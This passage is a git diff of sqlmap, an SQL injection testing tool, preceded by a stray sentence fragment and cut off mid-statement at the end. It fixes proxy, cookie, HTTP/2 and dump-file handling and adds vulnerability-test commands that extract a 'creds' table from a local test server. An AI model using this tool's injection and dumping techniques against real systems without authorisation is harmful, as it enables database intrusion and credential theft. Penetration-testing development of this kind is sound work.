Avoid to add a static content length header to # headers and consider the following lines as diff --git a/lib/core/convert.py b/lib/core/convert.py index f3927e60d..ec6ed2015 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -125,6 +125,9 @@ def _serializeEncode(value): if isinstance(value, decimal.Decimal): return {_SERIALIZE_TAG: "dec", "v": getUnicode(value)} + if isinstance(value, (datetime.datetime, datetime.time)) and value.tzinfo is not None: + return getUnicode(value) # Note: time zone aware value (e.g. from '-d' connector) kept as displayed, as an arbitrary tzinfo can't be rebuilt + if isinstance(value, datetime.datetime): return {_SERIALIZE_TAG: "dt", "v": [value.year, value.month, value.day, value.hour, value.minute, value.second, value.microsecond]} diff --git a/lib/core/dump.py b/lib/core/dump.py index c9235f0e9..b33a6b279 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -75,6 +75,7 @@ class Dump(object): self._outputFile = None self._outputFP = None self._lock = threading.Lock() + self._dumpFiles = {} # Note: dump file -> table (written during this run) def _write(self, data, newline=True, console=True, content_type=None): text = "%s%s" % (data, "\n" if newline else " ") @@ -292,7 +293,7 @@ class Dump(object): lines = "-" * (int(maxlength) + 2) for db, tables in dbTables.items(): - tables = sorted(filter(None, tables)) + tables = sorted(filter(None, tables), key=lambda _: unsafeSQLIdentificatorNaming(getUnicode(_))) # Note: sorted by (displayed) unescaped names self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "") @@ -407,7 +408,7 @@ class Dump(object): for ctables in dbTables.values(): for tables in ctables.values(): for table in tables: - maxlength1 = max(maxlength1, getConsoleLength(getUnicode(table))) + maxlength1 = max(maxlength1, getConsoleLength(unsafeSQLIdentificatorNaming(getUnicode(table)))) for db, counts in dbTables.items(): self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "") @@ -430,10 +431,10 @@ class Dump(object): if count is None: count = "Unknown" - tables.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) + tables = sorted((unsafeSQLIdentificatorNaming(getUnicode(_)) for _ in tables), key=lambda _: _.lower()) for table in tables: - blank1 = " " * (maxlength1 - getConsoleLength(getUnicode(table))) + blank1 = " " * (maxlength1 - getConsoleLength(table)) blank2 = " " * (maxlength2 - len(str(count))) self._write("| %s%s | %d%s |" % (table, blank1, count, blank2)) @@ -513,7 +514,8 @@ class Dump(object): else: dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (safeTable, conf.dumpFormat.lower())) else: - appendToFile = any((conf.limitStart, conf.limitStop)) + # Note: appending (e.g. of --start/--stop ranges) only to the same table's file (i.e. not to a --dump-file shared among multiple tables) + appendToFile = any((conf.limitStart, conf.limitStop)) and self._dumpFiles.get(dumpFileName, table) == table if not appendToFile: count = 1 @@ -528,6 +530,18 @@ class Dump(object): else: count += 1 + # Note: appending to HTML means adding rows to the existing table (i.e. not appending a whole new document) + if appendToFile and conf.dumpFormat == DUMP_FORMAT.HTML: + with openFile(dumpFileName, "r") as f: + content = f.read() + + if "" in content: + with openFile(dumpFileName, "w+") as f: + f.write(content[:content.rindex("")]) + else: + appendToFile = False + + self._dumpFiles[dumpFileName] = table dumpFP = openFile(dumpFileName, 'w' if not appendToFile else 'a', buffering=DUMP_FILE_BUFFER_SIZE) count = int(tableValues["__infos__"]["count"]) @@ -600,7 +614,7 @@ class Dump(object): cols.append((unsafeSQLIdentificatorNaming(column), colType if colType else Replication.TEXT)) rtable = replication.createTable(table, cols) - elif conf.dumpFormat == DUMP_FORMAT.HTML: + elif conf.dumpFormat == DUMP_FORMAT.HTML and not appendToFile: dataToDumpFile(dumpFP, "\n\n\n") dataToDumpFile(dumpFP, "\n" % UNICODE_ENCODING) dataToDumpFile(dumpFP, "\n" % VERSION_STRING) @@ -636,7 +650,7 @@ class Dump(object): field += 1 - if conf.dumpFormat == DUMP_FORMAT.HTML: + if conf.dumpFormat == DUMP_FORMAT.HTML and not appendToFile: dataToDumpFile(dumpFP, "\n\n\n\n") self._write("|\n%s" % separator) @@ -795,7 +809,7 @@ class Dump(object): self.dbTableColumns(found) def sqlQuery(self, query, queryRes): - self.string(query, queryRes, content_type=CONTENT_TYPE.SQL_QUERY) + self.string(query, queryRes, content_type=CONTENT_TYPE.SQL_QUERY, sort=False) # Note: query's own row order and duplicates have to be preserved def rFile(self, fileData): self.lister("files saved to", fileData, sort=False, content_type=CONTENT_TYPE.FILE_READ) diff --git a/lib/core/option.py b/lib/core/option.py index 74f8feaa7..9d7345274 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1374,7 +1374,8 @@ def _setHTTPHandlers(): if conf.proxyCred: # Reference: http://stackoverflow.com/questions/34079/how-to-specify-an-authenticated-proxy-for-a-python-http-connection - proxyString = "%s@" % conf.proxyCred + # Note: (raw) credentials have to be URL-encoded, as urllib decodes them (e.g. '%41' would become 'A') + proxyString = "%s@" % ':'.join(_urllib.parse.quote(_, safe="") for _ in conf.proxyCred.split(':', 1)) elif match: # Note: credentials from the proxy URL itself (kept URL-encoded, as urllib decodes them on its own) proxyString = "%s:%s@" % (match.group(1), match.group(2)) @@ -1394,7 +1395,8 @@ def _setHTTPHandlers(): debugMsg = "creating HTTP requests opener object" logger.debug(debugMsg) - handlers = filterNone([multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, chunkedHandler if conf.chunked else None, httpsHandler]) + # Note: (emptied) proxyHandler is kept in case of --ignore-proxy, as otherwise urllib adds its default one (i.e. using environment proxies) + handlers = filterNone([multipartPostHandler, proxyHandler if proxyHandler.proxies or conf.ignoreProxy else None, authHandler, redirectHandler, rangeHandler, chunkedHandler if conf.chunked else None, httpsHandler]) if not conf.dropSetCookie: if not conf.loadCookies: @@ -1639,7 +1641,11 @@ def _setHTTPExtraHeaders(): header, value = (_.lstrip() for _ in headerValue.split(":", 1)) if header and value: - conf.httpHeaders.append((header, value)) + # Note: Cookie header provided this way is treated as --cookie (i.e. its parameters become testable) + if header.upper() == HTTP_HEADER.COOKIE.upper() and not conf.cookie: + conf.cookie = value + else: + conf.httpHeaders.append((header, value)) else: errMsg = "invalid header value: %s. Valid header format is 'name:value'" % repr(headerValue).lstrip('u') raise SqlmapSyntaxException(errMsg) @@ -2105,6 +2111,9 @@ def _cleanupOptions(): if conf.string: conf.string = decodeStringEscape(conf.string) + if conf.notString: + conf.notString = decodeStringEscape(conf.notString) + if conf.getAll: for _ in WIZARD.ALL: conf.__setitem__(_, True) @@ -2118,8 +2127,9 @@ def _cleanupOptions(): if conf.torType: conf.torType = conf.torType.upper() - if conf.col: - conf.col = re.sub(r"\s*,\s*", ',', conf.col) + for _ in ("db", "tbl", "col"): + if conf.get(_): + conf[_] = re.sub(r"\s*,\s*", ',', conf[_]) if conf.exclude: regex = False @@ -2150,7 +2160,7 @@ def _cleanupOptions(): conf.binaryFields = re.split(PARAMETER_SPLITTING_REGEX, conf.binaryFields) envProxy = max(os.environ.get(_, "") for _ in PROXY_ENVIRONMENT_VARIABLES) - if re.search(r"\A(https?|socks[45])://.+:\d+\Z", envProxy) and conf.proxy is None: + if re.search(r"\A(https?|socks[45])://.+:\d+\Z", envProxy) and conf.proxy is None and not conf.ignoreProxy: debugMsg = "using environment proxy '%s'" % envProxy logger.debug(debugMsg) @@ -2650,7 +2660,7 @@ def _mergeOptions(inputOptions, overrideOptions): inputOptionsItems = inputOptions.__dict__.items() for key, value in inputOptionsItems: - if key not in conf or value not in (None, False) or overrideOptions: + if key not in conf or (value is not None and value is not False) or overrideOptions: # Note: explicit zero (e.g. '--delay 0') has to win over the configuration file conf[key] = value if not conf.api: @@ -2755,6 +2765,11 @@ def _setProxyList(): _, type_, cred, address, port = match.groups() conf.proxyList.append("%s://%s%s:%s" % (type_ or "http", ("%s@" % cred) if cred else "", address, port)) + # Note: otherwise sqlmap would silently connect directly (i.e. without any proxy) + if not conf.proxyList: + errMsg = "no usable proxy entries found in proxy list file '%s' (expected format e.g. 'http://127.0.0.1:8080')" % conf.proxyFile + raise SqlmapSyntaxException(errMsg) + def _setTorProxySettings(): if not conf.tor: return @@ -2886,6 +2901,11 @@ def _basicOptionValidation(): errMsg = "HTTP/2 support is currently incompatible with SOCKS/Tor proxies" raise SqlmapSyntaxException(errMsg) + # Note: native HTTP/2 client bypasses urllib's (challenge-response) authentication handlers (only Basic is sent preemptively) + if conf.http2 and ((conf.authType or "").lower() not in ("", AUTH_TYPE.BASIC, AUTH_TYPE.BEARER) or conf.authFile): + errMsg = "HTTP/2 support is currently incompatible with HTTP authentication type '%s'" % (conf.authType or AUTH_TYPE.PKI) + raise SqlmapSyntaxException(errMsg) + if conf.uValues and conf.uChar: errMsg = "option '--union-values' is incompatible with option '--union-char'" raise SqlmapSyntaxException(errMsg) @@ -3045,6 +3065,10 @@ def _basicOptionValidation(): errMsg = "option '--crawl-exclude' requires usage of switch '--crawl'" raise SqlmapSyntaxException(errMsg) + if conf.privEsc and not any((conf.osPwn, conf.osSmb, conf.osBof)): + errMsg = "switch '--priv-esc' requires usage of switch '--os-pwn', '--os-smbrelay' or '--os-bof'" + raise SqlmapSyntaxException(errMsg) + if conf.safePost and not conf.safeUrl: errMsg = "option '--safe-post' requires usage of option '--safe-url'" raise SqlmapSyntaxException(errMsg) diff --git a/lib/core/replication.py b/lib/core/replication.py index a2cd5e9a3..70028b19a 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -58,15 +58,15 @@ class Replication(object): def __init__(self, parent, name, columns=None, create=True, typeless=False): self.parent = parent - self.name = unsafeSQLIdentificatorNaming(name) + self.name = unsafeSQLIdentificatorNaming(name).replace('"', '""') # Note: escaped for its (double quoted) usage in statements below self.columns = columns if create: try: self.execute('DROP TABLE IF EXISTS "%s"' % self.name) if not typeless: - self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s" %s' % (unsafeSQLIdentificatorNaming(colname), coltype) for colname, coltype in self.columns))) + self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s" %s' % (unsafeSQLIdentificatorNaming(colname).replace('"', '""'), coltype) for colname, coltype in self.columns))) else: - self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s"' % unsafeSQLIdentificatorNaming(colname) for colname in self.columns))) + self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s"' % unsafeSQLIdentificatorNaming(colname).replace('"', '""') for colname in self.columns))) except Exception as ex: errMsg = "problem occurred ('%s') while initializing the sqlite database " % getSafeExString(ex, UNICODE_ENCODING) errMsg += "located at '%s'" % self.parent.dbpath diff --git a/lib/core/settings.py b/lib/core/settings.py index b82c17527..081fee1a8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.0" +VERSION = "1.10.11.89" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -114,7 +114,7 @@ BOOLEAN_MODEL_MATCH_RATIO = 0.9 PARAMETER_MINING_BUCKET_SIZE = 25 # For filling in case of dumb push updates -DUMMY_JUNK = "Phah5jue" +DUMMY_JUNK = "rie8kooZ" # Markers for special cases when parameter values contain html encoded characters PARAMETER_AMP_MARKER = "__PARAMETER_AMP__" @@ -849,7 +849,7 @@ PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;'*]+)|(\*/\*)" BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)" # Template used for common column existence check -BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)" +BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT t.%s FROM %s t)" # Note: qualified, otherwise an unknown column would resolve to the (outer) injected query's table # Data inside shellcodeexec to be filled with random string SHELLCODEEXEC_RANDOM_STRING_MARKER = b"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" diff --git a/lib/core/target.py b/lib/core/target.py index 87feb4d2a..f650f3e2c 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -180,7 +180,8 @@ def _setRequestParams(): if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) - conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*".*?)"(?%s"' % kb.customInjectionMark), conf.data) + # Note: proper JSON string matching (e.g. "x\\" ends with an escaped backslash, not with an escaped quote) + conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*"(?:[^"\\]|\\.)*)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*")"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) @@ -329,6 +330,10 @@ def _setRequestParams(): if kb.processUserMarks: kb.testOnlyCustom = True + if conf.testParameter: + warnMsg = "option '-p' is ignored as only the custom injection marker(s) ('%s') will be tested" % kb.customInjectionMark + logger.warning(warnMsg) + if "=%s" % kb.customInjectionMark in _: warnMsg = "it seems that you've provided empty parameter value(s) " warnMsg += "for testing. Please, always use only valid parameter values " @@ -438,7 +443,8 @@ def _setRequestParams(): testableParameters = True else: - condition = intersect(conf.testParameter, [httpHeader], True) + # Note: in case of --cookie, its (Cookie) parameters are tested separately (i.e. not the whole header) + condition = intersect(conf.testParameter, [httpHeader], True) and not (conf.cookie and httpHeader.upper() == HTTP_HEADER.COOKIE.upper()) if condition: conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders) @@ -457,7 +463,7 @@ def _setRequestParams(): raise SqlmapGenericException(errMsg) if conf.csrfToken: - if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not any(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()): + if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, "%s %s" % (conf.data or "", conf.parameters.get(PLACE.GET) or "")) and not any(re.search(r"\A%s\Z" % conf.csrfToken, _[0], re.I) for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not any(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()): errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original errMsg += "found in provided GET, POST, Cookie or header values" raise SqlmapGenericException(errMsg) @@ -486,6 +492,10 @@ def _setHashDB(): if not conf.hashDBFile: conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, SESSION_SQLITE_FILE) + if conf.sessionFile and not os.path.isdir(os.path.dirname(os.path.abspath(conf.hashDBFile))): + errMsg = "directory of the provided session file '%s' does not exist" % conf.sessionFile + raise SqlmapFilePathException(errMsg) + if conf.flushSession: if os.path.exists(conf.hashDBFile): if conf.hashDB: @@ -587,6 +597,7 @@ def _resumeDBMS(): if not readInput(message, default='N', boolean=True): conf.dbms = None + kb.dbmsFilter = [] Backend.setDbms(dbms) Backend.setVersionList(dbmsVersion) else: diff --git a/lib/core/testing.py b/lib/core/testing.py index 4b74b909b..1f71bc1ec 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -5,6 +5,7 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +import contextlib import doctest import json import logging @@ -94,7 +95,9 @@ def vulnTest(tests=None, label="vuln"): ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")), ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u \"nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction - ("-u \"graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "enumerated 6 injectable argument slot(s): 4 query, 2 mutation", "SQL injection via GraphQL (boolean-based)", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + query-slots-first (mutations only as fallback) + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) + ("-u \"graphql\" --graphql -T creds --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "enumerated 6 injectable argument slot(s): 4 query, 2 mutation", "SQL injection via GraphQL (boolean-based)", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + query-slots-first (mutations only as fallback) + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) + ("-u \"list?min=0\" --multi-bit --technique=B -T users --dump --flush-session", ("carries a multi-bit channel", "30 entries", "luther")), # --multi-bit: a listing page whose rows depend on the injected value carries several bits per request + ("-u \"?id=1\" --http2 --technique=T --timeless --dbms=sqlite --level=3 --risk=2 --banner --time-sec=5 --flush-session", ("turning on HTTP/2 timeless timing", "banner: '3.")), # --timeless: (SQLite heavy-query) time-based blind read by HTTP/2 response order (Note: --time-sec=5 as heavy queries scale with it) ("-u \"ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing ("-u \"echo?q=x\" --xslt --flush-session --disable-hashing", ("no parameter appears to be injectable", "~is vulnerable to")), # reflection is not evaluation: a pure echo endpoint must not satisfy any non-SQL engine's oracle ("-u \"echo?q=x\" --xpath --flush-session --disable-hashing", ("no parameter appears to be injectable", "~is vulnerable to")), # same gate for --xpath (it used to confirm XPath injection from reflected text alone) @@ -132,6 +135,12 @@ def vulnTest(tests=None, label="vuln"): except ImportError: TESTS = tuple(_ for _ in TESTS if "--ssti" not in _[0]) logger.warning("skipping the SSTI vuln-test entry ('jinja2' not available)") + try: + __import__("h2") + __import__("cryptography") + except ImportError: + TESTS = tuple(_ for _ in TESTS if "" not in _[0]) + logger.warning("skipping the HTTP/2 vuln-test entry ('h2' or 'cryptography' not available)") # --test-filter / --test-skip narrow a (slow) full run to just the entries touching a change: # the needle is matched case-insensitively against each entry's command line and its expected @@ -206,9 +215,11 @@ def vulnTest(tests=None, label="vuln"): os.close(handle) cleanups.append(database) - with sqlite3.connect(database) as conn: + # Note: sqlite3's own context manager only commits (it does not close the connection) + with contextlib.closing(sqlite3.connect(database)) as conn: c = conn.cursor() c.executescript(vulnserver.SCHEMA) + conn.commit() handle, request = tempfile.mkstemp(suffix=".req") os.close(handle) @@ -233,6 +244,28 @@ def vulnTest(tests=None, label="vuln"): f.flush() base = "http://%s:%d/" % (address, port) + h2base = "" + + # optional HTTP/2 (TLS) endpoint (e.g. for --timeless) + if any("" in _[0] for _ in TESTS): + h2port = port + 1 if port < 65535 else port - 1 + thread = threading.Thread(target=vulnserver.run_h2, args=(address, h2port)) + thread.daemon = True + thread.start() + + for _ in xrange(20): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + try: + if not s.connect_ex((address, h2port)): + h2base = "https://%s:%d/" % (address, h2port) + break + finally: + s.close() + time.sleep(0.5) + + if not h2base: + TESTS = tuple(_ for _ in TESTS if "" not in _[0]) + logger.warning("skipping the HTTP/2 vuln-test entry (unable to start HTTP/2 endpoint)") url = "%s?id=1" % base direct = "sqlite3://%s" % database tmpdir = tempfile.mkdtemp() @@ -257,10 +290,10 @@ def vulnTest(tests=None, label="vuln"): options = options.replace(u"\u0161u\u0107uraj", "sucuraj") checks = [check.replace(u"\u0161u\u0107uraj", "sucuraj") for check in checks] - for tag, value in (("", url), ("", base), ("", direct), ("", tmpdir), ("", request), ("", log), ("", multiple), ("", config), ("", url.replace("id=1", "id=MZ=%3d"))): + for tag, value in (("", url), ("", base), ("", direct), ("", tmpdir), ("", request), ("", log), ("", multiple), ("", config), ("", url.replace("id=1", "id=MZ=%3d")), ("", h2base)): options = options.replace(tag, value) - cmd = "%s \"%s\" %s --batch --non-interactive --debug --time-sec=1" % (sys.executable if ' ' not in sys.executable else '"%s"' % sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options) + cmd = "%s \"%s\" %s --batch --non-interactive --debug%s" % (sys.executable if ' ' not in sys.executable else '"%s"' % sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options, "" if "--time-sec" in options else " --time-sec=1") if "" in cmd: handle, tmp = tempfile.mkstemp() diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index da15f83fe..75cb725aa 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -130,7 +130,7 @@ def cmdLineParser(argv=None): help="Connection string for direct database connection") target.add_argument("-l", dest="logFile", - help="Parse target(s) from Burp or WebScarab proxy log file") + help="Parse target(s) from Burp, WebScarab or HAR log file") target.add_argument("-m", dest="bulkFile", help="Scan multiple targets given in a textual file") diff --git a/lib/request/basic.py b/lib/request/basic.py index f7a5c164b..7e1265070 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -121,7 +121,10 @@ def forgeHeaders(items=None, base=None): if cookie is None or cookie.domain_specified and not ((conf.hostname or "").endswith(cookie.domain) or (conf.hostname or "") == cookie.domain.lstrip('.')): continue - if ("%s=" % getUnicode(cookie.name)) in getUnicode(headers[HTTP_HEADER.COOKIE]): + # Note: cookie name has to start right after a delimiter (e.g. server's 'id' must not match inside user's 'x-id=2') + boundary = r"(?:\A|(?<=[%s\s]))" % re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER) + + if re.search(r"%s%s=" % (boundary, re.escape(getUnicode(cookie.name))), getUnicode(headers[HTTP_HEADER.COOKIE])): if conf.loadCookies: conf.httpHeaders = filterNone((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders) elif kb.mergeCookies is None: @@ -134,7 +137,7 @@ def forgeHeaders(items=None, base=None): if kb.mergeCookies and kb.injection.place != PLACE.COOKIE: def _(value): - return re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), value) + return re.sub(r"(?i)%s%s=[^%s]+" % (boundary, re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), value) headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE]) diff --git a/lib/request/connect.py b/lib/request/connect.py index 04fc3f3a4..69164c37a 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -367,7 +367,7 @@ class Connect(object): threadData = getCurrentThreadData() with kb.locks.request: kb.requestCounter += 1 - threadData.lastRequestUID = kb.requestCounter + threadData.lastRequestUID = requestUID = kb.requestCounter if conf.proxyFreq: if kb.requestCounter % conf.proxyFreq == 0: @@ -425,8 +425,18 @@ class Connect(object): raise SqlmapValueException(errMsg) with openFile(conf.liveCookies) as f: - cookie = f.read().strip() - cookie = re.sub(r"(?i)\ACookie:\s*", "", cookie) + live = re.sub(r"(?i)\ACookie:\s*", "", f.read().strip()) + + # Note: (live) values are taken, except for the cookie(s) currently carrying the payload (i.e. differing from the original value) + delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER + original = conf.paramDict.get(PLACE.COOKIE) or {} + for part in (cookie or "").split(delimiter): + name, _, value = part.strip().partition('=') + if name in original and value != original[name]: + regex = r"(\A|(?<=[%s\s]))%s=[^%s]*" % (re.escape(delimiter), re.escape(name), re.escape(delimiter)) + live = re.sub(regex, lambda match: "%s=%s" % (name, value), live) if re.search(regex, live) else "%s%s %s=%s" % (live, delimiter, name, value) + + cookie = live if multipart: post = multipart @@ -500,7 +510,7 @@ class Connect(object): get = conf.parameters[PLACE.GET] if not conf.skipUrlEncode: - get = urlencode(get, limit=True) + get = urlencode(get, safe="%%&=-_%s" % (conf.paramDel or ""), limit=True) if get: if '?' in url: @@ -521,6 +531,8 @@ class Connect(object): # Prepare HTTP headers headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host or getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHostHeader(url)}, base=None if target else {}) + # WebSocket builds its own default Host, but must preserve explicit overrides. + customWsHost = webSocket and bool(host or getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHeader(auxHeaders, HTTP_HEADER.HOST) is not None) if HTTP_HEADER.COOKIE in headers: cookie = headers[HTTP_HEADER.COOKIE] @@ -573,9 +585,13 @@ class Connect(object): if ':' in line: header, value = line.split(':', 1) headers[header] = value + if webSocket and header.upper() == HTTP_HEADER.HOST.upper(): + headers[HTTP_HEADER.HOST] = value + customWsHost = True if conf.localhost: headers[HTTP_HEADER.HOST] = "localhost" + customWsHost = True for key, value in list(headers.items()): if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper(): @@ -600,7 +616,7 @@ class Connect(object): try: ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout) wsHeaders = tuple("%s: %s" % (getUnicode(key), getUnicode(value)) for key, value in headers.items() if getUnicode(key).upper() != HTTP_HEADER.HOST.upper()) - ws.connect(url, header=wsHeaders, cookie=cookie) # WebSocket will add Host field of headers automatically + ws.connect(url, header=wsHeaders, cookie=cookie, hostHeader=getHeader(headers, HTTP_HEADER.HOST) if customWsHost else None) ws.send(urldecode(post or "")) _page = [] @@ -613,17 +629,17 @@ class Connect(object): warnMsg = "too large websocket response detected. Automatically trimming it" singleTimeWarnMessage(warnMsg) break - except websocket.WebSocketTimeoutException: + except (websocket.WebSocketTimeoutException, websocket.WebSocketNormalClosureException): kb.webSocketRecvCount = len(_page) break else: for i in xrange(max(1, kb.webSocketRecvCount)): # Note: a later response may carry fewer frames than the calibration one - # (e.g. a FALSE boolean-blind reply); stop on timeout instead of letting it - # bubble up as a failed request, mirroring the initial recv loop above + # (e.g. a FALSE boolean-blind reply); stop on timeout or normal closure, + # mirroring the initial recv loop above try: _page.append(ws.recv()) - except websocket.WebSocketTimeoutException: + except (websocket.WebSocketTimeoutException, websocket.WebSocketNormalClosureException): break page = "\n".join(_page) @@ -730,16 +746,35 @@ class Connect(object): from lib.request.http2 import open_url as http2OpenUrl from lib.request.http2 import proxy_tuple + # Note: (preemptive) Basic authentication, as urllib's handlers are bypassed + if (conf.authType or "").lower() == AUTH_TYPE.BASIC and conf.authUsername is not None and HTTP_HEADER.AUTHORIZATION not in headers: + headers[HTTP_HEADER.AUTHORIZATION] = "Basic %s" % encodeBase64("%s:%s" % (conf.authUsername, conf.authPassword or ""), binary=False) + try: h2proxy = proxy_tuple(conf.proxy, conf.proxyCred) except ValueError: raise SqlmapMissingDependence("native HTTP/2 client does not support SOCKS proxies (omit '--http2' or use an HTTP proxy)") + # Note: cookie jar handling (i.e. Set-Cookie), as urllib's HTTPCookieProcessor is bypassed + if conf.cj is not None and HTTP_HEADER.COOKIE not in headers: + try: + conf.cj.add_cookie_header(req) + if req.get_header(HTTP_HEADER.COOKIE): + headers[HTTP_HEADER.COOKIE] = req.get_header(HTTP_HEADER.COOKIE) + except Exception as ex: + logger.debug("problem occurred while adding HTTP/2 cookies ('%s')" % getSafeExString(ex)) + try: - conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO, proxy=h2proxy, sensitive_headers=tuple(kb.authRefreshHeaders) if conf.authRefresh else ()) + conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO and not conf.ignoreRedirects, proxy=h2proxy, sensitive_headers=tuple(kb.authRefreshHeaders) if conf.authRefresh else ()) except IOError as ex: raise 